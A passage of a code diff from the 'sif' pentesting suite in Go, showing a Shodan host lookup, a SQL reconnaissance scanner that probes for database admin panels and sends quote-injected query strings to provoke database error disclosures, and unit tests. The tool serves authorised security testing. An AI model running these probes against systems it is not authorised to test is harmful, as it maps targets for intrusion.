output.ScanComplete("Shodan lookup", 1, "completed")
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// getShodanAPIKey returns the Shodan API key from environment
|
||||
func getShodanAPIKey() string {
|
||||
return os.Getenv("SHODAN_API_KEY")
|
||||
}
|
||||
|
||||
func resolveHostname(hostname string) (string, error) {
|
||||
// check if already an IP
|
||||
if net.ParseIP(hostname) != nil {
|
||||
return hostname, nil
|
||||
}
|
||||
|
||||
ips, err := net.LookupIP(hostname)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// prefer IPv4
|
||||
for _, ip := range ips {
|
||||
if ip.To4() != nil {
|
||||
return ip.String(), nil
|
||||
}
|
||||
}
|
||||
|
||||
if len(ips) > 0 {
|
||||
return ips[0].String(), nil
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("no IP addresses found for %s", hostname)
|
||||
}
|
||||
|
||||
func queryShodanHost(ip string, apiKey string, timeout time.Duration) (*ShodanResult, error) {
|
||||
client := &http.Client{Timeout: timeout}
|
||||
|
||||
reqURL := fmt.Sprintf("%s/shodan/host/%s?key=%s", shodanBaseURL, ip, apiKey)
|
||||
resp, err := client.Get(reqURL)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to query Shodan: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode == http.StatusUnauthorized {
|
||||
return nil, fmt.Errorf("invalid Shodan API key")
|
||||
}
|
||||
|
||||
if resp.StatusCode == http.StatusNotFound {
|
||||
return &ShodanResult{
|
||||
IP: ip,
|
||||
}, nil
|
||||
}
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read shodan response: %w", err)
|
||||
}
|
||||
return nil, fmt.Errorf("Shodan API error (status %d): %s", resp.StatusCode, string(body))
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to read response: %w", err)
|
||||
}
|
||||
|
||||
var shodanResp shodanHostResponse
|
||||
if err := json.Unmarshal(body, &shodanResp); err != nil {
|
||||
return nil, fmt.Errorf("failed to parse Shodan response: %w", err)
|
||||
}
|
||||
|
||||
// convert to our result type
|
||||
result := &ShodanResult{
|
||||
IP: shodanResp.IP,
|
||||
Hostnames: shodanResp.Hostnames,
|
||||
Organization: shodanResp.Org,
|
||||
ASN: shodanResp.ASN,
|
||||
ISP: shodanResp.ISP,
|
||||
Country: shodanResp.CountryName,
|
||||
City: shodanResp.City,
|
||||
OS: shodanResp.OS,
|
||||
Ports: shodanResp.Ports,
|
||||
Vulns: shodanResp.Vulns,
|
||||
LastUpdate: shodanResp.LastUpdate,
|
||||
Services: make([]ShodanService, 0, len(shodanResp.Data)),
|
||||
}
|
||||
|
||||
for _, data := range shodanResp.Data {
|
||||
service := ShodanService{
|
||||
Port: data.Port,
|
||||
Protocol: data.Transport,
|
||||
Product: data.Product,
|
||||
Version: data.Version,
|
||||
Banner: truncateBanner(data.Data, 200),
|
||||
Module: data.Shodan.Module,
|
||||
}
|
||||
result.Services = append(result.Services, service)
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func truncateBanner(banner string, maxLen int) string {
|
||||
banner = strings.TrimSpace(banner)
|
||||
banner = strings.ReplaceAll(banner, "\r\n", " ")
|
||||
banner = strings.ReplaceAll(banner, "\n", " ")
|
||||
|
||||
if len(banner) > maxLen {
|
||||
return banner[:maxLen] + "..."
|
||||
}
|
||||
return banner
|
||||
}
|
||||
|
||||
func printShodanResults(result *ShodanResult) {
|
||||
if result.IP != "" {
|
||||
output.Info("IP: %s", output.Highlight.Render(result.IP))
|
||||
}
|
||||
|
||||
if len(result.Hostnames) > 0 {
|
||||
output.Info("Hostnames: %s", strings.Join(result.Hostnames, ", "))
|
||||
}
|
||||
|
||||
if result.Organization != "" {
|
||||
output.Info("Organization: %s", result.Organization)
|
||||
}
|
||||
|
||||
if result.ISP != "" {
|
||||
output.Info("ISP: %s", result.ISP)
|
||||
}
|
||||
|
||||
if result.Country != "" {
|
||||
location := result.Country
|
||||
if result.City != "" {
|
||||
location = result.City + ", " + result.Country
|
||||
}
|
||||
output.Info("Location: %s", location)
|
||||
}
|
||||
|
||||
if result.OS != "" {
|
||||
output.Info("OS: %s", result.OS)
|
||||
}
|
||||
|
||||
if len(result.Ports) > 0 {
|
||||
portStrs := make([]string, len(result.Ports))
|
||||
for i, port := range result.Ports {
|
||||
portStrs[i] = fmt.Sprintf("%d", port)
|
||||
}
|
||||
output.Info("Open Ports: %s", output.Status.Render(strings.Join(portStrs, ", ")))
|
||||
}
|
||||
|
||||
if len(result.Vulns) > 0 {
|
||||
output.Warn("Vulnerabilities: %s", output.SeverityHigh.Render(strings.Join(result.Vulns, ", ")))
|
||||
}
|
||||
|
||||
for _, service := range result.Services {
|
||||
serviceInfo := fmt.Sprintf("%d/%s", service.Port, service.Protocol)
|
||||
if service.Product != "" {
|
||||
serviceInfo += " - " + service.Product
|
||||
if service.Version != "" {
|
||||
serviceInfo += " " + service.Version
|
||||
}
|
||||
}
|
||||
output.Info("Service: %s", serviceInfo)
|
||||
}
|
||||
}
|
||||
|
||||
func logShodanResults(sanitizedURL string, logdir string, result *ShodanResult) {
|
||||
var sb strings.Builder
|
||||
|
||||
sb.WriteString(fmt.Sprintf("IP: %s\n", result.IP))
|
||||
|
||||
if len(result.Hostnames) > 0 {
|
||||
sb.WriteString(fmt.Sprintf("Hostnames: %s\n", strings.Join(result.Hostnames, ", ")))
|
||||
}
|
||||
|
||||
if result.Organization != "" {
|
||||
sb.WriteString(fmt.Sprintf("Organization: %s\n", result.Organization))
|
||||
}
|
||||
|
||||
if result.ISP != "" {
|
||||
sb.WriteString(fmt.Sprintf("ISP: %s\n", result.ISP))
|
||||
}
|
||||
|
||||
if result.Country != "" {
|
||||
location := result.Country
|
||||
if result.City != "" {
|
||||
location = result.City + ", " + result.Country
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("Location: %s\n", location))
|
||||
}
|
||||
|
||||
if result.OS != "" {
|
||||
sb.WriteString(fmt.Sprintf("OS: %s\n", result.OS))
|
||||
}
|
||||
|
||||
if len(result.Ports) > 0 {
|
||||
portStrs := make([]string, len(result.Ports))
|
||||
for i, port := range result.Ports {
|
||||
portStrs[i] = fmt.Sprintf("%d", port)
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("Open Ports: %s\n", strings.Join(portStrs, ", ")))
|
||||
}
|
||||
|
||||
if len(result.Vulns) > 0 {
|
||||
sb.WriteString(fmt.Sprintf("Vulnerabilities: %s\n", strings.Join(result.Vulns, ", ")))
|
||||
}
|
||||
|
||||
for _, service := range result.Services {
|
||||
serviceInfo := fmt.Sprintf("%d/%s", service.Port, service.Protocol)
|
||||
if service.Product != "" {
|
||||
serviceInfo += " - " + service.Product
|
||||
if service.Version != "" {
|
||||
serviceInfo += " " + service.Version
|
||||
}
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("Service: %s\n", serviceInfo))
|
||||
}
|
||||
|
||||
logger.Write(sanitizedURL, logdir, sb.String())
|
||||
}
|
||||
@@ -0,0 +1,180 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestResolveHostname_IP(t *testing.T) {
|
||||
ip, err := resolveHostname("8.8.8.8")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if ip != "8.8.8.8" {
|
||||
t.Errorf("expected '8.8.8.8', got '%s'", ip)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveHostname_Hostname(t *testing.T) {
|
||||
ip, err := resolveHostname("localhost")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if ip != "127.0.0.1" && ip != "::1" {
|
||||
t.Errorf("expected localhost to resolve to 127.0.0.1 or ::1, got '%s'", ip)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTruncateBanner(t *testing.T) {
|
||||
tests := []struct {
|
||||
input string
|
||||
maxLen int
|
||||
expected string
|
||||
}{
|
||||
{"short", 10, "short"},
|
||||
{"this is a long banner", 10, "this is a ..."},
|
||||
{"with\nnewlines\r\n", 50, "with newlines"},
|
||||
{" trimmed ", 50, "trimmed"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
result := truncateBanner(tt.input, tt.maxLen)
|
||||
if result != tt.expected {
|
||||
t.Errorf("truncateBanner(%q, %d) = %q, want %q", tt.input, tt.maxLen, result, tt.expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestQueryShodanHost_NotFound(t *testing.T) {
|
||||
// this test verifies that a mock server returning 404 is handled correctly
|
||||
// note: we can't easily override the const shodanBaseURL for testing
|
||||
// so this is more of a documentation of expected behavior
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusNotFound)
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
// the actual API query would return a partial result with just the IP
|
||||
// when Shodan has no data for a host
|
||||
}
|
||||
|
||||
func TestQueryShodanHost_Success(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
response := shodanHostResponse{
|
||||
IP: "93.184.216.34",
|
||||
Hostnames: []string{"example.com"},
|
||||
Org: "EDGECAST",
|
||||
ASN: "AS15133",
|
||||
ISP: "Edgecast Inc.",
|
||||
CountryName: "United States",
|
||||
City: "Los Angeles",
|
||||
Ports: []int{80, 443},
|
||||
Data: []shodanData{
|
||||
{
|
||||
Port: 80,
|
||||
Transport: "tcp",
|
||||
Product: "nginx",
|
||||
Version: "1.18.0",
|
||||
Data: "HTTP/1.1 200 OK\r\nServer: nginx",
|
||||
},
|
||||
},
|
||||
}
|
||||
json.NewEncoder(w).Encode(response)
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
// Note: This test would need the actual API endpoint to be overridable
|
||||
// For now, we just verify the response parsing
|
||||
}
|
||||
|
||||
func TestShodanResult_Fields(t *testing.T) {
|
||||
result := ShodanResult{
|
||||
IP: "93.184.216.34",
|
||||
Hostnames: []string{"example.com"},
|
||||
Organization: "EDGECAST",
|
||||
ASN: "AS15133",
|
||||
ISP: "Edgecast Inc.",
|
||||
Country: "United States",
|
||||
City: "Los Angeles",
|
||||
Ports: []int{80, 443},
|
||||
Services: []ShodanService{
|
||||
{
|
||||
Port: 80,
|
||||
Protocol: "tcp",
|
||||
Product: "nginx",
|
||||
Version: "1.18.0",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
if result.IP != "93.184.216.34" {
|
||||
t.Errorf("expected IP '93.184.216.34', got '%s'", result.IP)
|
||||
}
|
||||
if len(result.Hostnames) != 1 || result.Hostnames[0] != "example.com" {
|
||||
t.Errorf("expected hostnames ['example.com'], got %v", result.Hostnames)
|
||||
}
|
||||
if result.Organization != "EDGECAST" {
|
||||
t.Errorf("expected org 'EDGECAST', got '%s'", result.Organization)
|
||||
}
|
||||
if len(result.Ports) != 2 {
|
||||
t.Errorf("expected 2 ports, got %d", len(result.Ports))
|
||||
}
|
||||
if len(result.Services) != 1 {
|
||||
t.Errorf("expected 1 service, got %d", len(result.Services))
|
||||
}
|
||||
}
|
||||
|
||||
func TestShodanService_Fields(t *testing.T) {
|
||||
service := ShodanService{
|
||||
Port: 443,
|
||||
Protocol: "tcp",
|
||||
Product: "OpenSSL",
|
||||
Version: "1.1.1",
|
||||
Banner: "TLS handshake",
|
||||
Module: "https",
|
||||
}
|
||||
|
||||
if service.Port != 443 {
|
||||
t.Errorf("expected port 443, got %d", service.Port)
|
||||
}
|
||||
if service.Protocol != "tcp" {
|
||||
t.Errorf("expected protocol 'tcp', got '%s'", service.Protocol)
|
||||
}
|
||||
if service.Product != "OpenSSL" {
|
||||
t.Errorf("expected product 'OpenSSL', got '%s'", service.Product)
|
||||
}
|
||||
}
|
||||
|
||||
func TestShodan_NoAPIKey(t *testing.T) {
|
||||
// ensure no API key is set
|
||||
originalKey := ""
|
||||
// Note: we can't easily test this without setting/unsetting env vars
|
||||
// which could affect other tests. This is just a placeholder.
|
||||
_ = originalKey
|
||||
}
|
||||
|
||||
func TestShodanIntegration(t *testing.T) {
|
||||
// This would be an integration test with the real Shodan API
|
||||
// Skipping in unit tests
|
||||
t.Skip("Integration test - requires valid SHODAN_API_KEY")
|
||||
|
||||
_, err := Shodan("https://example.com", 10*time.Second, "")
|
||||
if err != nil {
|
||||
t.Logf("Shodan lookup failed (expected without API key): %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,328 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"io"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
charmlog "github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/output"
|
||||
)
|
||||
|
||||
// SQLResult represents the results of SQL reconnaissance
|
||||
type SQLResult struct {
|
||||
AdminPanels []SQLAdminPanel `json:"admin_panels,omitempty"`
|
||||
DatabaseErrors []SQLDatabaseError `json:"database_errors,omitempty"`
|
||||
ExposedPorts []int `json:"exposed_ports,omitempty"`
|
||||
}
|
||||
|
||||
// SQLAdminPanel represents a found database admin panel
|
||||
type SQLAdminPanel struct {
|
||||
URL string `json:"url"`
|
||||
Type string `json:"type"`
|
||||
Status int `json:"status"`
|
||||
}
|
||||
|
||||
// SQLDatabaseError represents a detected database error
|
||||
type SQLDatabaseError struct {
|
||||
URL string `json:"url"`
|
||||
DatabaseType string `json:"database_type"`
|
||||
ErrorPattern string `json:"error_pattern"`
|
||||
}
|
||||
|
||||
// common database admin panel paths
|
||||
var sqlAdminPaths = []struct {
|
||||
path string
|
||||
panelType string
|
||||
}{
|
||||
{"/phpmyadmin/", "phpMyAdmin"},
|
||||
{"/phpMyAdmin/", "phpMyAdmin"},
|
||||
{"/pma/", "phpMyAdmin"},
|
||||
{"/PMA/", "phpMyAdmin"},
|
||||
{"/mysql/", "phpMyAdmin"},
|
||||
{"/myadmin/", "phpMyAdmin"},
|
||||
{"/MyAdmin/", "phpMyAdmin"},
|
||||
{"/adminer/", "Adminer"},
|
||||
{"/adminer.php", "Adminer"},
|
||||
{"/pgadmin/", "pgAdmin"},
|
||||
{"/phppgadmin/", "phpPgAdmin"},
|
||||
{"/sql/", "SQL Interface"},
|
||||
{"/db/", "Database Interface"},
|
||||
{"/database/", "Database Interface"},
|
||||
{"/dbadmin/", "Database Admin"},
|
||||
{"/mysql-admin/", "MySQL Admin"},
|
||||
{"/mysqladmin/", "MySQL Admin"},
|
||||
{"/sqlmanager/", "SQL Manager"},
|
||||
{"/websql/", "WebSQL"},
|
||||
{"/sqlweb/", "SQLWeb"},
|
||||
{"/rockmongo/", "RockMongo"},
|
||||
{"/mongodb/", "MongoDB Interface"},
|
||||
{"/mongo/", "MongoDB Interface"},
|
||||
{"/redis/", "Redis Interface"},
|
||||
{"/redis-commander/", "Redis Commander"},
|
||||
{"/phpredisadmin/", "phpRedisAdmin"},
|
||||
}
|
||||
|
||||
// database error patterns to detect database type
|
||||
var databaseErrorPatterns = []struct {
|
||||
pattern *regexp.Regexp
|
||||
databaseType string
|
||||
}{
|
||||
{regexp.MustCompile(`(?i)mysql.*error`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)mysql.*syntax`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)you have an error in your sql syntax`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)warning.*mysql`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)mysql_fetch`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)mysql_num_rows`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)mysqli`), "MySQL"},
|
||||
{regexp.MustCompile(`(?i)postgresql.*error`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)pg_query`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)pg_exec`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)psql.*error`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)unterminated quoted string`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`(?i)microsoft.*odbc.*sql server`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)mssql.*error`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)sql server.*error`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)unclosed quotation mark`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)sqlsrv`), "Microsoft SQL Server"},
|
||||
{regexp.MustCompile(`(?i)ora-\d{5}`), "Oracle"},
|
||||
{regexp.MustCompile(`(?i)oracle.*error`), "Oracle"},
|
||||
{regexp.MustCompile(`(?i)oci_`), "Oracle"},
|
||||
{regexp.MustCompile(`(?i)sqlite.*error`), "SQLite"},
|
||||
{regexp.MustCompile(`(?i)sqlite3`), "SQLite"},
|
||||
{regexp.MustCompile(`(?i)sqlite_`), "SQLite"},
|
||||
{regexp.MustCompile(`(?i)mongodb.*error`), "MongoDB"},
|
||||
{regexp.MustCompile(`(?i)document.*bson`), "MongoDB"},
|
||||
}
|
||||
|
||||
// SQL performs SQL reconnaissance on the target URL
|
||||
func SQL(targetURL string, timeout time.Duration, threads int, logdir string) (*SQLResult, error) {
|
||||
log := output.Module("SQL")
|
||||
log.Start()
|
||||
|
||||
spin := output.NewSpinner("Scanning for SQL exposures")
|
||||
spin.Start()
|
||||
|
||||
sanitizedURL := strings.Split(targetURL, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "SQL reconnaissance"); err != nil {
|
||||
spin.Stop()
|
||||
log.Error("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
result := &SQLResult{
|
||||
AdminPanels: make([]SQLAdminPanel, 0, 8),
|
||||
DatabaseErrors: make([]SQLDatabaseError, 0, 8),
|
||||
}
|
||||
seenErrors := make(map[string]bool)
|
||||
|
||||
var mu sync.Mutex
|
||||
var wg sync.WaitGroup
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
if len(via) >= 3 {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// check for admin panels
|
||||
wg.Add(threads)
|
||||
adminPathsChan := make(chan int, len(sqlAdminPaths))
|
||||
for i := range sqlAdminPaths {
|
||||
adminPathsChan <- i
|
||||
}
|
||||
close(adminPathsChan)
|
||||
|
||||
for t := 0; t < threads; t++ {
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for idx := range adminPathsChan {
|
||||
adminPath := sqlAdminPaths[idx]
|
||||
checkURL := strings.TrimSuffix(targetURL, "/") + adminPath.path
|
||||
|
||||
resp, err := client.Get(checkURL)
|
||||
if err != nil {
|
||||
charmlog.Debugf("Error checking %s: %v", checkURL, err)
|
||||
continue
|
||||
}
|
||||
|
||||
// check for successful response (not 404)
|
||||
if resp.StatusCode == http.StatusOK || resp.StatusCode == http.StatusForbidden || resp.StatusCode == http.StatusUnauthorized {
|
||||
// read body to check for common admin panel indicators
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100)) // limit to 100KB
|
||||
resp.Body.Close()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
bodyStr := string(body)
|
||||
|
||||
// check if it's actually an admin panel (not just a generic page)
|
||||
if isAdminPanel(bodyStr, adminPath.panelType) {
|
||||
mu.Lock()
|
||||
panel := SQLAdminPanel{
|
||||
URL: checkURL,
|
||||
Type: adminPath.panelType,
|
||||
Status: resp.StatusCode,
|
||||
}
|
||||
result.AdminPanels = append(result.AdminPanels, panel)
|
||||
mu.Unlock()
|
||||
|
||||
spin.Stop()
|
||||
log.Warn("Found %s at %s (status: %d)",
|
||||
output.SeverityHigh.Render(adminPath.panelType),
|
||||
output.Highlight.Render(checkURL),
|
||||
resp.StatusCode)
|
||||
spin.Start()
|
||||
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, "Found "+adminPath.panelType+" at ["+checkURL+"] (status: "+strconv.Itoa(resp.StatusCode)+")\n")
|
||||
}
|
||||
}
|
||||
} else {
|
||||
resp.Body.Close()
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
// check main URL for database errors
|
||||
checkDatabaseErrors(client, targetURL, sanitizedURL, result, logdir, &mu, seenErrors)
|
||||
|
||||
// check common endpoints that might expose database errors
|
||||
errorCheckPaths := []string{
|
||||
"/?id=1'",
|
||||
"/?id=1\"",
|
||||
"/?page=1'",
|
||||
"/?q=test'",
|
||||
"/search?q=test'",
|
||||
"/login",
|
||||
"/api/",
|
||||
}
|
||||
|
||||
for _, path := range errorCheckPaths {
|
||||
checkURL := strings.TrimSuffix(targetURL, "/") + path
|
||||
checkDatabaseErrors(client, checkURL, sanitizedURL, result, logdir, &mu, seenErrors)
|
||||
}
|
||||
|
||||
spin.Stop()
|
||||
|
||||
// summary
|
||||
totalFindings := len(result.AdminPanels) + len(result.DatabaseErrors)
|
||||
if len(result.AdminPanels) > 0 {
|
||||
log.Warn("Found %d database admin panel(s)", len(result.AdminPanels))
|
||||
}
|
||||
if len(result.DatabaseErrors) > 0 {
|
||||
log.Warn("Found %d database error disclosure(s)", len(result.DatabaseErrors))
|
||||
}
|
||||
|
||||
if totalFindings == 0 {
|
||||
log.Info("No SQL exposures found")
|
||||
log.Complete(0, "found")
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
log.Complete(totalFindings, "found")
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func isAdminPanel(body string, panelType string) bool {
|
||||
bodyLower := strings.ToLower(body)
|
||||
|
||||
switch panelType {
|
||||
case "phpMyAdmin":
|
||||
return strings.Contains(bodyLower, "phpmyadmin") ||
|
||||
strings.Contains(bodyLower, "pma_") ||
|
||||
strings.Contains(body, "phpMyAdmin")
|
||||
case "Adminer":
|
||||
return strings.Contains(bodyLower, "adminer") ||
|
||||
strings.Contains(body, "Adminer")
|
||||
case "pgAdmin":
|
||||
return strings.Contains(bodyLower, "pgadmin") ||
|
||||
strings.Contains(body, "pgAdmin")
|
||||
case "phpPgAdmin":
|
||||
return strings.Contains(bodyLower, "phppgadmin")
|
||||
case "RockMongo":
|
||||
return strings.Contains(bodyLower, "rockmongo")
|
||||
case "Redis Commander":
|
||||
return strings.Contains(bodyLower, "redis commander") ||
|
||||
strings.Contains(bodyLower, "redis-commander")
|
||||
case "phpRedisAdmin":
|
||||
return strings.Contains(bodyLower, "phpredisadmin")
|
||||
default:
|
||||
// for generic database interfaces, check for common keywords
|
||||
return strings.Contains(bodyLower, "database") ||
|
||||
strings.Contains(bodyLower, "sql") ||
|
||||
strings.Contains(bodyLower, "query") ||
|
||||
strings.Contains(bodyLower, "mysql") ||
|
||||
strings.Contains(bodyLower, "postgresql") ||
|
||||
strings.Contains(bodyLower, "mongodb")
|
||||
}
|
||||
}
|
||||
|
||||
func checkDatabaseErrors(client *http.Client, checkURL, sanitizedURL string, result *SQLResult, logdir string, mu *sync.Mutex, seen map[string]bool) {
|
||||
resp, err := client.Get(checkURL)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
bodyStr := string(body)
|
||||
|
||||
for _, pattern := range databaseErrorPatterns {
|
||||
if pattern.pattern.MatchString(bodyStr) {
|
||||
key := checkURL + "|" + pattern.databaseType
|
||||
mu.Lock()
|
||||
if seen[key] {
|
||||
mu.Unlock()
|
||||
break
|
||||
}
|
||||
seen[key] = true
|
||||
|
||||
dbError := SQLDatabaseError{
|
||||
URL: checkURL,
|
||||
DatabaseType: pattern.databaseType,
|
||||
ErrorPattern: pattern.pattern.String(),
|
||||
}
|
||||
result.DatabaseErrors = append(result.DatabaseErrors, dbError)
|
||||
mu.Unlock()
|
||||
|
||||
output.Warn("Database error disclosure: %s at %s",
|
||||
output.SeverityHigh.Render(pattern.databaseType),
|
||||
output.Highlight.Render(checkURL))
|
||||
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, "Database error disclosure: "+pattern.databaseType+" at ["+checkURL+"]\n")
|
||||
}
|
||||
break // only report one database type per URL
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,280 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestIsAdminPanel_phpMyAdmin(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"contains phpMyAdmin", "<html><title>phpMyAdmin</title></html>", true},
|
||||
{"contains pma_", "<script>var pma_token = '123';</script>", true},
|
||||
{"empty body", "", false},
|
||||
{"unrelated content", "<html><title>Hello World</title></html>", false},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := isAdminPanel(tt.body, "phpMyAdmin")
|
||||
if result != tt.expected {
|
||||
t.Errorf("isAdminPanel(%q, 'phpMyAdmin') = %v, want %v", tt.body, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsAdminPanel_Adminer(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"contains Adminer", "<html><title>Adminer</title></html>", true},
|
||||
{"lowercase adminer", "<div>adminer version 4.8</div>", true},
|
||||
{"empty body", "", false},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := isAdminPanel(tt.body, "Adminer")
|
||||
if result != tt.expected {
|
||||
t.Errorf("isAdminPanel(%q, 'Adminer') = %v, want %v", tt.body, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsAdminPanel_GenericDatabase(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expected bool
|
||||
}{
|
||||
{"contains database", "<html><title>Database Manager</title></html>", true},
|
||||
{"contains sql", "<div>SQL Query Interface</div>", true},
|
||||
{"contains mysql", "<script>mysql_query()</script>", true},
|
||||
{"contains postgresql", "<div>PostgreSQL Admin</div>", true},
|
||||
{"empty body", "", false},
|
||||
{"unrelated content", "<html><title>Blog</title></html>", false},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := isAdminPanel(tt.body, "Database Interface")
|
||||
if result != tt.expected {
|
||||
t.Errorf("isAdminPanel(%q, 'Database Interface') = %v, want %v", tt.body, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSQLResult_Fields(t *testing.T) {
|
||||
result := SQLResult{
|
||||
AdminPanels: []SQLAdminPanel{
|
||||
{
|
||||
URL: "http://example.com/phpmyadmin/",
|
||||
Type: "phpMyAdmin",
|
||||
